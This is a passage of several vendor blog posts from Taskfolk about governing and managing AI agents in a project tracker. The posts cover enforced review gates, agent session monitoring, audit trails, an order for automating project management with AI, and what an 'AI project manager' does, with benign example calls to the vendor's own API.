can. Review gates, next, draw the fine one. The full framework, with a concrete list of which tracker moves fall on which side, is in [the decision rights post](/blog/decision-rights-between-your-team-and-ai-agents). ## 4. Review gates the workflow itself enforces For the moves you flagged as high-stakes, the pattern is: the agent prepares and parks, a human commits. And the gate has to live in the workflow, not the prompt. A "Needs review" column the agent lands in, plus transition rules that make skipping it impossible. ```mermaid flowchart LR A[In progress] --> B[Needs review] B --> C{Human checks} C -->|approve| D[Done] C -->|send back| A A -. refused by workflow rules .-> D ``` The failure here is the silent commit. An agent instructed to always stop for review will mostly stop for review. Mostly is not a control. The move from In progress straight to Done at 2am happens exactly once before you learn the difference between an instruction and a constraint. This is where tracker choice matters most. In Taskfolk, workflow transition rules are enforced on every status write path, including the REST API and the first-party MCP server, so a forbidden move fails for an agent the same way it fails for a person. Here is the status write an agent would make, in three languages: ```bash curl -X POST \ "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-42/transition" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"status": "done"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-42/transition", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ status: "done" }), }, ); ``` ```python import os, requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-42/transition", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"status": "done"}, ) ``` If the project's workflow says Done is only reachable through Needs review, that call does not succeed with a warning. It fails: ```json { "error": { "code": "validation", "message": "Workflow blocks this transition: \"In progress\" cannot move to \"Done\".", "details": { "code": "workflow_transition_blocked", "from": "In progress", "to": "Done" } } } ``` The write is refused, not discouraged. The full recipe (review column, landing automation, transition rules, scoped key) is in [the human-in-the-loop approval post](/docs/human-in-the-loop-approval-for-ai-agents). ## 5. Monitoring: know what your agents are doing right now You need live visibility into each agent's state. Which one is working, which one is waiting on a human, which one has gone quiet. What this catches is silence. A stuck agent looks identical to a working one from the outside; both are quiet. Governance discussions fixate on agents doing the wrong thing, but the quieter and more common cost is an agent doing nothing while everyone assumes it is busy, discovered at 5pm when the board has not moved since lunch. Taskfolk's mechanism is the session. Every agent run reports a state, a short status note, and usually a pull request link, anchored to the issue it concerns. The states form a small lifecycle: ```mermaid stateDiagram-v2 [*] --> pending: issue assigned pending --> running: agent claims it running --> needs_input: blocked on a human needs_input --> running running --> review: PR ready review --> done running --> failed running --> cancelled done --> [*] failed --> [*] cancelled --> [*] ``` The agent keeps its session honest with one call. Any `PATCH` counts as a heartbeat, and the same call carries the state change and the note: ```bash curl -X PATCH "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/SESSION_ID" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"state": "review", "note": "opened PR #42", "external_url": "https://github.com/acme/web/pull/42"}' ``` A running session that goes 30 minutes without a heartbeat is flagged as stalled, which converts invisible silence into a visible prompt to go look. ![The sessions list in Taskfolk's Bots page, each agent's current state and status note visible at a glance](/images/blog/manage-a-team-of-ai-agents-hub-sessions.webp) Reading those signals is covered in [the stuck agent post](/blog/is-your-ai-agent-stuck); doing it across several agents at once is [its own discipline](/blog/manage-a-team-of-ai-agents). ## 6. Audit: a record that survives the agent Every change an agent makes should be recorded, attributed to that specific agent, and kept, including after the agent is disconnected. The failure is unanswerable history. Six months from now someone will ask why an issue was reprioritized in March. If the answer is a name with a timestamp and a session for context, that is a two-minute lookup. If the agent is long gone and the trail collapsed into "unknown user," your history has a hole exactly where the risky actor used to be. ![Taskfolk's audit log table, each entry attributed to the specific actor that made the change](/images/blog/how-to-track-api-usage-and-audit-logs-audit-table.webp) Durable attribution is a property of the identity model, not a report you export later. In Taskfolk the activity history records each change as the named agent that made it, and the record stays attributed after the agent is disconnected. What the trail does and does not capture, per-resource rather than per-field, is laid out in [the audit trail post](/blog/keep-an-audit-trail-of-ai-agent-changes). ## 7. Lifecycle: onboard deliberately, offboard completely Agents should arrive through a ramp (identity, scoped access, one small checkable task, a review) and leave through a real exit: key revoked, membership removed, open work reassigned, record kept. This prevents the zombie agent. A key minted for a pilot in February, still live in July, attached to an agent nobody owns anymore. Orphaned credentials are a classic security problem with people, and agents reproduce it faster, because they are easier to create than hires and much easier to forget. Make connect and disconnect first-class operations with owners. In Taskfolk, agent management is gated by role: owners and admins manage any agent in the workspace, while a member manages the ones it connected. Disconnecting revokes the key and removes the membership in one motion, and the history stays attributed. The whole arc is in [onboarding an agent like a new hire](/blog/onboard-an-ai-agent-like-a-new-hire). ## What tooling governance does not solve A playbook that claims completeness should not be trusted, so here is what these controls do not cover. **Model quality.** Controls bound damage; they do not create competence. A perfectly governed agent can still write a confidently wrong spec into the review column, and a person still has to catch it there. If your reviewers rubber-stamp whatever lands in the column, the gate is furniture. **Prompt injection.** An agent that reads issue descriptions, comments, or web pages can be steered by what it reads. Scopes and transition rules limit what a hijacked agent can do inside the tracker, which is a real mitigation and a good reason to keep write access narrow. They do not stop the hijack. Treat content the agent ingests as untrusted input, especially anything the public can submit. **Administrators.** Every control above is editable by whoever holds admin. An owner who hands an agent an `admin`-scoped key, or deletes the transition rules on a Friday, has switched the system off. Tooling governs agents. Governing the governors is an organizational problem, and no tracker feature substitutes for it. **Other surfaces.** The tracker governs what agents do in the tracker. The same agent probably has a shell, a repo, maybe deploy credentials. Each surface needs its own version of these controls; the board is one place your agent acts, not all of them, and the trail here will not show you what happened somewhere else. ## The Monday afternoon baseline For a team of five, here is the minimum that holds, doable in an afternoon. 1. Retire the shared bot account. Connect each agent as a named member instead. 2. Mint one key per agent, `write` scope, no `admin`. Note where each key lives. 3. Add a Needs review column, and set transition rules so Done is only reachable through it. 4. Write the decision-rights split on one page. The two questions (reversible? how badly can it hurt?) cover most cases. 5. Give each agent one narrow job, [scoped like a pilot](/blog/scope-an-ai-agents-first-job), and read the activity log at the end of each week for the first month. No committee, no framework adoption, nothing to purchase. This will not be complete, and it does not need to be. It takes the failures that hit small teams first (anonymous writes, silent commits, zombie keys) and makes them structurally hard instead of merely discouraged. The pattern to keep as you grow is the one this whole post argues: when a rule starts to matter, move it out of the prompt and into the tool. We built Taskfolk so these controls are defaults rather than a project: named agents, scoped keys, transition rules, live sessions, and a trail that outlasts its authors. If you want to see them in one place, [the AI tour](/ai) is the short version. --- # How to automate project management with AI URL: https://taskfolk.ai/blog/automate-project-management-with-ai Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: automation, AI agents, project management, how-to, workflow The right order to automate project management with AI: reporting first, intake second, execution agents last, and the decisions that should stay human. Ask a team what they want to automate and someone always says the coding. An agent that picks up a ticket and opens a pull request is the demo everyone has seen, so that is where the conversation starts. Meanwhile a lead on the same team is spending Friday afternoon assembling a status email by hand, and every customer request still lands in a shared inbox where it waits for a person to retype it into the tracker. That order is backwards. The flashiest automation carries the most risk and needs the most supervision, and the boring ones pay for themselves in the first week. The right way to automate project management with AI is in order of blast radius, not in order of excitement: start where a mistake costs nothing, finish where a mistake ships. This post is that order, plus a short list of decisions I would not automate at all. Disclosure before anything else: we make Taskfolk, a tracker built around this kind of workflow, so the examples below name our features. The order itself holds in any tool. ## Rules and judgment are two different machines "AI automation" gets used for two things that behave nothing alike, and mixing them up is how teams end up distrusting both. Rule-based automation is when X, then Y. When an issue is created with the label `billing`, assign it to the payments lead and raise the priority. It is deterministic, it has existed since email filters, and it never surprises you. When a rule is wrong, it is wrong the same way every time, which makes the failure easy to find and cheap to fix. AI automation reads content and makes a judgment call. Is this report a bug or a feature request? Which five of this week's two hundred board events deserve a sentence in the update? A rule cannot express those decisions, because they require reading. In exchange for handling that ambiguity, AI is sometimes wrong, and wrong in ways you did not predict. So the design rule: use a rule wherever a rule can express the decision, and spend AI judgment only where judgment is needed. The best setups chain the two: ```mermaid flowchart LR A[New ticket] --> B[AI reads it and applies a label] B --> C[Rule matches the label] C --> D[Ticket routed to the right person] ``` AI reads a new ticket and applies a label. That is judgment. A rule sees the label and routes the ticket to the right person. That is mechanics. When something lands in the wrong queue, you can tell at a glance which half guessed wrong. Everything on the ladder below is some mix of those two machines, and the rungs are ordered by how much damage the judgment half can do. ## Rung one: reporting (nothing can break) Start with the automations that only read: an async standup summary and a weekly project digest. Taskfolk's AI digest reads the recorded activity, what was created, what finished, what stalled, and who commented on what, then writes the update a lead used to assemble by hand. Run it daily and it replaces the recitation half of standup. Run it weekly and it replaces the Friday status email. We wrote up the daily version in [can an AI run your standup?](/blog/run-sprints-without-the-ceremony) and the weekly one in [let AI write your weekly project update](/blog/let-ai-write-your-weekly-project-update). ![Project summary page showing the status breakdown and recent activity a digest is compiled from](/images/blog/how-to-read-the-project-summary-overview.webp) The blast radius here is zero. The digest does not write to the board, so the worst thing it can produce is a bland paragraph, and even a bland paragraph beats an hour of scrolling five project boards to reconstruct the week. Reporting is the only automation you can adopt with no supervision plan, which is why it goes first. If AI in your tracker makes you nervous, this is the rung where you can calibrate while nothing is at stake. It also runs a quiet audit of your board. A summary can only reflect what the tracker records. If the first digest comes back thin, or confidently describes a project you know is on fire as quiet, your board is not telling the truth. Better to learn that now, while the only consumer is a paragraph, than later, when an agent is making decisions from the same data. ## Rung two: intake (creates, but decides nothing final) The second rung writes, but only new rows, and nothing it decides is expensive to reverse. A public intake form takes the request straight from the requester and files a structured issue in the right project, with the fields you chose to ask for. The request never sits in a shared inbox waiting for someone to retype it. In Taskfolk the form applies routing defaults on arrival, a label, an assignee, a starting column, and then `issue.created` automation rules run against the new issue for anything conditional. The whole path is in [turn a request form into a triaged issue](/blog/turn-a-request-form-into-a-triaged-issue). ![Form builder showing the fields a public intake form asks for before it files an issue](/images/blog/how-to-set-up-a-request-form-builder-build-tab.webp) On top of that sits the first real AI judgment: triage. AI reads the new issue and proposes a type, a priority, and labels drawn only from the project's existing set, and your rules route on whatever it applied. The setup and its guardrails are in [auto-triage new issues with AI](/blog/ai-issue-triage-that-assigns-and-prioritizes). A wrong call at this rung costs a two-second correction, which is why it is second and not third. Still, start it gated: - Add a column named Triage and land every new ticket there. - Let a person promote tickets out of it after a glance. Taskfolk ships triage in a suggest mode for exactly this: the model proposes, a human accepts or corrects. - After two weeks, count how often you corrected it. If the answer is rarely, let it auto-apply and keep the review column for exceptions. If the answer is constantly, you lost nothing but the two weeks. ## Rung three: execution (mistakes are real now) The top rung is the one from the demo: agents pick up issues, do the work, comment on what they did, and move tickets across the board. The payoff is the largest, and this is the first rung where a wrong judgment is a work product someone has to catch, not a label you flip back. Treat it like bringing on a contractor, not like enabling a setting. In Taskfolk an agent is a named member of the workspace: it has its own profile, its own live sessions you can watch, its own attribution on every change it makes, and its own scoped API key you can revoke without touching anyone else's access. It works the board through the same REST API and MCP server any integration uses, so nothing it does happens off the record. Give it one narrow first assignment; [scope an AI agent's first job](/blog/scope-an-ai-agents-first-job) is our checklist for choosing it. ![Agent sessions in the hub showing what each agent is working on](/images/blog/how-to-use-ai-agents-in-taskfolk-sessions.webp) Because the agent works through the API, a board move is an ordinary HTTP call you can read. This is the transition endpoint an agent hits to move `WEB-12` into review: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-12/transition" \ -H "Authorization: Bearer tfk_live_..." \ -H "Content-Type: application/json" \ -d '{"status": "in_review"}' ``` ```javascript await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-12/transition", { method: "POST", headers: { Authorization: "Bearer tfk_live_...", "Content-Type": "application/json", }, body: JSON.stringify({ status: "in_review" }), }, ); ``` ```python import requests requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-12/transition", headers={"Authorization": "Bearer tfk_live_..."}, json={"status": "in_review"}, ) ``` Then make the board enforce the boundaries instead of trusting the agent to respect them. Custom columns shape the pipeline. Transition rules define which moves are legal from each column and are enforced on every write path, including the call above, so an agent cannot skip a ticket from In progress straight to Done: the request fails instead of moving the ticket. A review column sits between agent work and anything customer-facing, and only a human moves tickets out of it. ![Board with a review column sitting between the agent's working columns and done](/images/blog/human-in-the-loop-approval-for-ai-agents-board.webp) Once one agent behaves inside those rails, a second is less dramatic than it sounds. Status columns become the handoff bus: ```mermaid flowchart LR T[Triage agent] --> R[Ready column] R --> C[Coding agent] C --> V[Review column] V --> H[Human approves] H --> D[Done] ``` A triage agent pushes tickets to a Ready column, a coding agent pulls from it, and the human gate stays in the middle. That pattern is written up in [coordinating two agents with status handoffs](/blog/coordinate-two-agents-with-issue-status-handoffs). ## What to leave manual, permanently Some decisions should stay with people even when the automation works, and not because the models are not good enough yet. - **Priorities that carry commitments.** AI proposing a priority on a routine bug is classification, and it is fine. Deciding that a fix ships to a specific customer by Friday is a promise, and a promise belongs to the person who will answer for it when it slips. - **Scope cuts.** When the sprint does not fit, choosing what drops is a negotiation between what customers were told, what the team can absorb, and what the business needs this quarter. A model can list options. It has no standing to choose. - **Anything that is actually about people.** Routing work to a queue is mechanics; automate it freely. Assigning work to a person is a workload conversation, and the difference matters most on the week that person is quietly drowning. Performance is not board data. Conflict is not either. - **The last review before ship.** Whatever the final gate is on work reaching customers, a person clicks it. We would keep this one even for an agent with a perfect record, because approval is where accountability lives, and accountability does not transfer to software. The longer argument is in [human-in-the-loop approval for AI agents](/docs/human-in-the-loop-approval-for-ai-agents). ## The first two weeks Here is the plan I would hand a team starting from zero. **Week one, reporting only.** Turn on the digest, daily or weekly, and change nothing else. Read each one against what you already know. You are testing the summaries, and more importantly you are testing whether your board records reality. Where the digest is wrong because the board lied, fix the board habit, not the digest. **Week two, intake.** Point one form at your noisiest request source and let it file issues into a Triage column. Turn on AI triage in suggest mode and have whoever owns triage accept or correct each proposal. Keep a rough count of the corrections. Then stop and decide. If the digest reads true and the corrections are rare, your tracker is in good enough shape to host an execution agent, and that conversation is now worth having. If either failed, you found out for free, two weeks before an agent would have built confident work on top of bad data. None of this needs a budget approval. Taskfolk's Free plan covers the whole experiment, Pro is $3 per builder per month after that, viewers are free and uncapped, and agents are never billed as seats. When you are ready to talk about the third rung, [the AI page](/ai) shows how agents join a workspace as members. Do the boring rungs first. They pay back immediately, and they tell you the truth about whether you are ready for the exciting one. --- # What is an AI project manager? What one actually does today URL: https://taskfolk.ai/blog/what-is-an-ai-project-manager Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: agentic project management, AI agents, project management A plain definition of the AI project manager: the three things the term means, a week of real work on a live board, and the parts only a human can hold. An AI project manager is software, usually an AI agent connected to your project tracker, that does the mechanical parts of a project manager's job: compiling status, triaging incoming work, chasing updates, and flagging risks. It works from the live state of the board, not from meetings, and it leaves the judgment calls to a person. That is the whole definition. The rest of this post is what those two sentences mean in practice: the three different products currently sold under the name, a normal week of work for a real one, and the point where the job stops being something software can hold. One thing this post is not: the argument over whether these agents will replace human project managers. We wrote that separately in [will AI agents replace project managers?](/blog/what-your-junior-engineer-does-now), and the short version is no. This piece is just the definition, because "AI project manager" has quietly become three products wearing one name, and it matters which one you are buying. ## The three things people mean by "AI project manager" | Meaning | What you actually get | Ships today | Who does the work | |---|---|---|---| | AI features in a tracker | Summarize and draft buttons | Yes, everywhere | You, one click at a time | | An agent doing PM chores | Triage, standups, digests, chasing | Yes | The agent, with a person checking | | An autonomous PM | Roadmap, deadlines, stakeholders | No | Nobody, it does not exist | **Meaning one: AI features inside a project management tool.** A summarize button on a long ticket. A prompt that drafts a description. Autocomplete for acceptance criteria. This is the most common thing shipping under the label, and it is fine, but it is not a manager of anything. It is a writing aid that lives in a tracker. You still do the reading, the routing, and the chasing yourself, one click at a time. **Meaning two: an agent that does PM chores end to end on the tracker.** Not a button you press, a worker that runs. It watches intake and triages new issues as they arrive. It compiles the standup from what actually changed on the board. It writes the weekly update without being asked. It has a name, an audit trail, and a scope you set on purpose. This exists today, and it is what the rest of this post describes. **Meaning three: the autonomous PM that runs the whole project.** Sets the roadmap, negotiates the deadline, decides what to cut when the quarter tightens, manages the stakeholder who is quietly furious. This does not exist. Vendors gesture at it in launch videos; nobody runs a real project on it. And the gap between meaning two and meaning three is not one model release wide, because most of what is missing is not intelligence. It is accountability, which we will get to. When a landing page says "AI project manager," it is usually selling meaning one while letting you imagine meaning three. Meaning two is the real, useful thing in the middle, and it is the concrete version of what people have started calling [agentic project management](/blog/what-is-agentic-project-management): agents working inside the tracker as team members rather than as a chat window bolted to the side of it. ## A week with an AI project manager Definitions are cheap, so here is what one actually does on a live board. This is the shape of a normal week for an agent doing PM work on Taskfolk. We build Taskfolk, so this is the version we can vouch for, but the pattern transfers to any tracker an agent can read and write. ![Agent sessions in the Taskfolk hub, each showing which issue the agent is on and its current state](/images/blog/how-to-use-ai-agents-in-taskfolk-sessions.webp) **Monday, 8:00.** The agent compiles the async standup from Friday's and the weekend's board activity: which issues changed column, which got comments, which pull requests landed, which agent sessions finished or stalled overnight. It posts the digest before anyone reaches a desk. Nobody recites anything from memory; the team reads for two minutes and spends its talking time on the one item that needs an argument. What this replaces, and the part of the standup you should keep, is in [can an AI run your standup?](/blog/run-sprints-without-the-ceremony) **All week, as intake arrives.** A bug report lands Tuesday at 14:40. The agent reads it, checks for duplicates, classifies it as a bug, sets a priority from the severity signals in the text, applies labels, and routes it to the right project. A feature request lands Thursday and gets the same treatment without the urgency. ```mermaid flowchart LR A[New issue arrives] --> B[Agent reads it] B --> C{Duplicate?} C -->|Yes| D[Link and close] C -->|No| E[Classify and prioritize] E --> F[Label and route] F --> G[Human spot check] ``` This is [first-pass triage](/blog/ai-issue-triage-that-assigns-and-prioritizes), and the win is not that the agent judges better than the person who used to do it. The win is that it happens within a minute of arrival instead of at Friday grooming, so the board reflects reality all week instead of one afternoon in five. **Wednesday, mid-morning.** The agent flags what the data shows. Two issues have sat in the review column for four days with no reviewer activity. One engineer is carrying six in-progress issues while the rest of the team averages two. It leaves a comment on each stalled ticket asking for a state update, which is the chasing part of the job nobody will miss, and it posts the workload imbalance as an observation with links, not a verdict. Whether the reviewer is on leave or the six issues are all trivial is context the agent does not have. Its job is to make a human look today instead of discovering the pile-up at the sprint review. That chasing comment is not magic. On Taskfolk it is one call to the public API: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-42/comments" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"body_md": "This has sat in review for 4 days with no reviewer activity. Still current, or should it move back?"}' ``` ```javascript await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-42/comments", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ body_md: "This has sat in review for 4 days with no reviewer activity. Still current, or should it move back?", }), }, ); ``` ```python import requests requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/WEB/issues/WEB-42/comments", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={ "body_md": "This has sat in review for 4 days with no reviewer " "activity. Still current, or should it move back?" }, ) ``` **Friday, end of day.** The agent writes the weekly digest: what shipped, what moved, what stalled, and what looks at risk for the sprint goal, drawn from the full week of activity rather than whatever people remember at 16:50. It goes to the stakeholders who will never open the board. We wrote up the mechanics in [let AI write your weekly project update](/blog/let-ai-write-your-weekly-project-update). Notice what is missing from that week: a decision. The agent compiled, filed, chased, and flagged. Every call that could hurt someone went to a person with the context to make it. That split is not a limitation we are apologizing for. It is the design. ```mermaid flowchart TD W[Work the project generates] --> Q{Mechanical or judgment call} Q -->|Mechanical| A[Agent compiles, triages, chases, flags] Q -->|Judgment| H[Human decides scope, dates, promises] A --> R[Person spot checks the output] ``` The inputs matter just as much. Everything above works because the source of truth is the board, not a meeting transcript. An agent that reads meetings inherits the accuracy of meetings. An agent that reads the tracker inherits the accuracy of the tracker, which is why most of the setup effort is board hygiene: statuses that mean what they say, a blocked column that actually means blocked, review columns with transition rules so work cannot skip the gate quietly. ![A WEB issue where the Codex Bot agent moved the status to In Progress and left a comment, an AI teammate doing the project-management work the post describes](/images/blog/what-is-agentic-project-management-agent-issue.webp) ## What an AI project manager cannot do This is the part the marketing mumbles. It cannot trade scope against a deadline. That decision requires knowing what the company promised, to whom, and what breaking each promise costs. None of that lives on the board. It cannot negotiate with a stakeholder. Negotiation is mostly hearing what the other person is not saying, and an agent's entire worldview is what got written down. It cannot own a commitment. An agent can produce an estimate. It cannot promise a date, because a promise is only worth the consequences the promiser can suffer, and an agent suffers none. It cannot read a room. A sponsor who says "fine, ship it" in a flat voice is transmitting information that never reaches an API. And it cannot be accountable when something ships broken. Someone has to sit in the incident review and say "that was my call." Put an agent in that seat and you have built a system where nobody made the call, which is worse than a wrong call. This is why teams that run agents well write down [which decisions an agent may take alone and which need a person](/blog/decision-rights-between-your-team-and-ai-agents). Accountability does not transfer to something that cannot be fired or promoted, no matter how good the model gets. So when a product page says its AI "manages your project," translate it: it compiles and files, tirelessly. That is worth real money. It is not management. ## What this changes for the human PM The short version, since we argue the long one in [the replacement post](/blog/what-your-junior-engineer-does-now): the mechanical half of the job shrinks toward zero and the judgment half grows to fill the space. Less Thursday spent assembling the report, more time deciding what the report should change. The people who lose in this shift are the ones whose entire output was the compilation. The ones who win are the ones who were always short on time to think, which in our experience is most of them. ## How to try one this week You do not need a rollout plan. You need one narrow chore and a way to check the work. Disclosure, since we have opinions and a product in the same paragraph: we make Taskfolk, a tracker built so agents work in it as named team members. An agent gets a profile, live sessions that show its state on the ticket, a per-agent audit trail of every change it makes, and an API key scoped to exactly what it should touch. It connects over MCP or the REST API. Agents are never billed as seats; the pricing is a free plan and Pro at $3 per builder per month, with viewers free and uncapped. ![A connected agent in the Taskfolk hub with its own profile and scoped access](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) The one-week version looks like this: 1. Turn on AI triage for a single project and spot-check every decision it makes. 2. If by Friday you have stopped checking, add the Monday standup digest. 3. If the standup earns its keep, add the Friday update. Each step retires a chore, and at no point have you handed anything irreversible to software. That is what an AI project manager is in 2026: not a replacement in a suit, a fast colleague for the boring half of the job. If you want to see one on a real board, [start with the AI tools in Taskfolk](/ai) and give it your intake queue first. --- # How to manage a team of AI agents without losing track URL: https://taskfolk.ai/blog/manage-a-team-of-ai-agents Published: 2026-07-15 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agent management, AI agents, agentic project management, workflow, how-to AI team management day to day: a roster, live sessions, instant delegation, per-field permissions, and verified work when several AI agents run at once. The pitch you keep hearing for 2026 is that everyone becomes a manager of agents. Not one assistant in a sidebar, but a handful of them at once: one drafting specs, one triaging bugs, one working through a backlog, one writing a migration. The demos make it look effortless. The reality, if you have actually tried it, is that three agents in three chat windows is already more than a person can track in their head. That is the part nobody sells you. Spinning up agents is easy. Knowing what five of them are doing right now, which one is stuck, and what any of them changed while you were in a meeting, that is the actual job, and it is what [AI project management](/ai-project-management) means in practice. There is a name for this now: [AI team management](/ai-team-management), running agents under the same rules you would apply to people. So it is worth asking a plain question: what does managing a team of agents look like day to day, inside the tool where the work lives? ## The failure mode is scatter Picture the default setup. Each agent runs in its own terminal or its own chat thread. One is in a Claude Code window, one in Cursor, one in a script you kicked off an hour ago. They do not share a view. There is no single place that says "here is everything running, and here is its state." So you tab between windows. You scroll back through a thread to work out whether the agent finished or quietly gave up. You lose the plot on which one touched which ticket. When something goes wrong on the board, you cannot tell if it was you, a teammate, or one of the agents, because none of their work is attributed anywhere the rest of the team can see. This is not an AI problem. It is [a coordination problem](/blog/coordinate-two-agents-with-issue-status-handoffs), and it is the same one you would have with five contractors who never told you what they were doing. ## How most tools handle agents today The scatter is not something anyone designed. It is the default you inherit from how agent products ship. Coding agents live in terminal sessions and IDE panes. Vendors that offer a dashboard offer it for their own agents only: a Claude Code session list knows nothing about your Codex agent, and neither has heard of the one running in Cursor. Project tools mostly bolt a single assistant into a sidebar, which is a different product from running several agents, from several vendors, against real tickets at once. So the integration layer ends up being you: your memory of which window holds which agent, and your discipline about checking each one. Moving that layer into the tracker, where the work already lives, is the whole idea. The difference is easiest to see side by side: | | Agents in chat windows | A managed fleet | | --- | --- | --- | | Who runs this agent | Whoever opened the tab | A named owner on the roster | | What is it doing right now | Scroll the transcript | A session state on one board | | Is anything stuck | You notice eventually | A stall flag after 30 quiet minutes | | What may it change | Whatever its key allows | A field policy shaped like its job | | Did it actually finish | Its word for it | An evidence check and an unverified badge | | What did it change last month | Nowhere to look | Attributed history on every issue | Managing agents well is mostly about killing that scatter. You want one shared surface where every agent, its owner, its access, and its current work all show up in the same place your team already looks. The rest of this post walks that surface in Taskfolk, piece by piece: the roster, live sessions, handing work over, limiting what each agent can touch, and checking that "done" meant something. ## A directory: who is connected and who owns them Start with the roster. In Taskfolk, agents are not anonymous tokens; each one is a real workspace member with a name, a provider identity, and an avatar badge. The Bots page is the directory: every connected agent in one list, with its provider (Claude Code, Codex, Cursor, Copilot, Gemini, and others) and, importantly, who owns it. ![The Bots page directory: four agents from four providers, each with a named owner, a live status, and its own API key](/images/blog/manage-a-team-of-ai-agents-hub-roster.webp) Ownership matters more than it sounds. When you run a fleet, "whose agent is this" is a question you will ask constantly. Someone needs to know why a given agent exists, what it is allowed to do, and who to talk to when it misbehaves. Owners and admins can manage any agent; a regular member manages the ones they connected. A workspace tops out at 25 agents, a deliberate ceiling we come back to near the end of this post. One detail that removes a real objection: agent members are never billed as seats. You are not paying per agent to keep them visible. The directory is free to fill out honestly. ## Live sessions, grouped by state, as your glance A roster tells you who exists. It does not tell you what they are doing. That is what sessions are for. An agent session is how an agent reports its own work. Each session has a state: pending, running, needs input, review, done, failed, or cancelled. Every update the agent sends is a heartbeat. A session can be anchored to a specific issue, say `WEB-12`, or sit at the workspace level, and it carries a title, a short note ("blocked on env var"), and an optional external link like a pull request. On the wire it is two small calls against the [public API](/docs/how-to-use-the-rest-api). The agent opens a session when it picks work up: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions \ -H "Authorization: Bearer $AGENT_KEY" \ -H "Content-Type: application/json" \ -d '{ "title": "Fix the login redirect loop", "issue_key": "WEB-12", "note": "picked up from the pending queue" }' ``` That returns the session in `running` with its `id`. Everything after that is a `PATCH` on the same session: a note, a state change, or a bare call that just proves the agent is alive. From a Node runtime: ```javascript await fetch( `https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/${sessionId}`, { method: "PATCH", headers: { Authorization: `Bearer ${process.env.AGENT_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ state: "needs_input", note: "blocked on env var" }), }, ); ``` ```python import os, requests requests.patch( f"https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions/{session_id}", headers={"Authorization": f"Bearer {os.environ['AGENT_KEY']}"}, json={"state": "done", "external_url": "https://github.com/acme/web/pull/141"}, ) ``` ![The sessions board: a needs-input session and a stalled one sort to the top, ahead of a claim in review, a pending handoff, and healthy running work](/images/blog/manage-a-team-of-ai-agents-hub-sessions.webp) The payoff is that you stop reading transcripts and start reading states. Grouped by state, the Bots page becomes a status board for your fleet: this many running, these two waiting on input, one in review, three done. You are managing exceptions, not narrating every step. Most of the running ones need nothing from you. The needs-input ones are where your attention goes. The lifecycle, in one picture: ```mermaid flowchart TD A["Assign or @mention"] --> P["Pending: in the agent's inbox, not yet claimed"] P --> R[Running] R --> NI[Needs input] NI -->|"you answer, it resumes"| R R --> RV[Review] RV --> D["Done: cross-checked for evidence"] R --> F[Failed or cancelled] ``` A session is only as current as the agent's last heartbeat, though. If an agent stops reporting, the board goes stale for that agent, and you would not know from the board alone. Which is exactly why the stall signal exists: a session that stays in "running" with no heartbeat for 30 minutes gets [flagged as stalled](/blog/is-your-ai-agent-stuck). That is your single glance for "is anyone stuck." Read the flag correctly: stalled does not mean failed. It means no news for half an hour, which could be a long task, a crash, or an agent waiting on something it never reported. The flag is an invitation to look, not a verdict. Taskfolk also nudges you at the moments that matter. When a session moves into needs-input or done, the agent's owner plus the issue's reporter, assignee, and watchers get notified, in-app only, no email, which is the right call for something this frequent. ## The map: your whole fleet as one picture The roster answers "who exists." The state board answers "what needs me." Neither shows the shape of the thing: who owns which agent, which projects each one touches, and where the live work actually sits. That is what the Bot map is for. It is the same hub, one toggle over (List / Map), drawn as a radial tree: your workspace at the center, agents around it, each agent's projects on the next ring, and the task each one is running right now out on the leaf. Status is painted straight onto the tree. A running branch reads green, a session waiting on input or gone quiet reads gold, a failed one reads pink. Done and cancelled work is deliberately absent, because the map is about active work; a quiet fleet draws a small map. Failed stays visible on purpose. A broken agent should be impossible to miss. ![The Bot map in by-agent mode: four agents radiate from the workspace, and the Triage bot branch reads all the way out to its live task on Taskfolk web, flagged with a gold Stalled chip](/images/blog/manage-a-team-of-ai-agents-map.webp) The same data redraws three ways. By agent asks "what is this agent up to." By project asks "who is working on this project." By owner is the management view: every agent hangs under the person who connected it, so responsibility is not a column in a table, it is the literal structure of the picture. An agent nobody would claim has nowhere to hide in that mode, and an owner juggling more agents than they can review shows up as exactly that, a crowded branch. ![The same fleet in by-owner mode: agents grouped under the human who answers for them, which makes ownership gaps visible at a glance](/images/blog/manage-a-team-of-ai-agents-map-owner.webp) The map is live. Session changes stream in over the same push channel the rest of the hub uses, so a branch flips from green to gold while you are looking at it, no refresh. And that is what it is for, honestly: it is the standup view for a fleet. When someone asks "what are the agents doing right now," you stop narrating transcripts and show one screen. It is also where structural smells surface before they cost you: one agent fanned across four projects, a knot of gold on a single project, a stalled leaf out on the far edge. The roster and the board answer the questions you knew to ask. The map is how you notice the ones you did not. There is a filter box for when the tree gets big, and an export button that turns the current view into an image you can drop straight into a 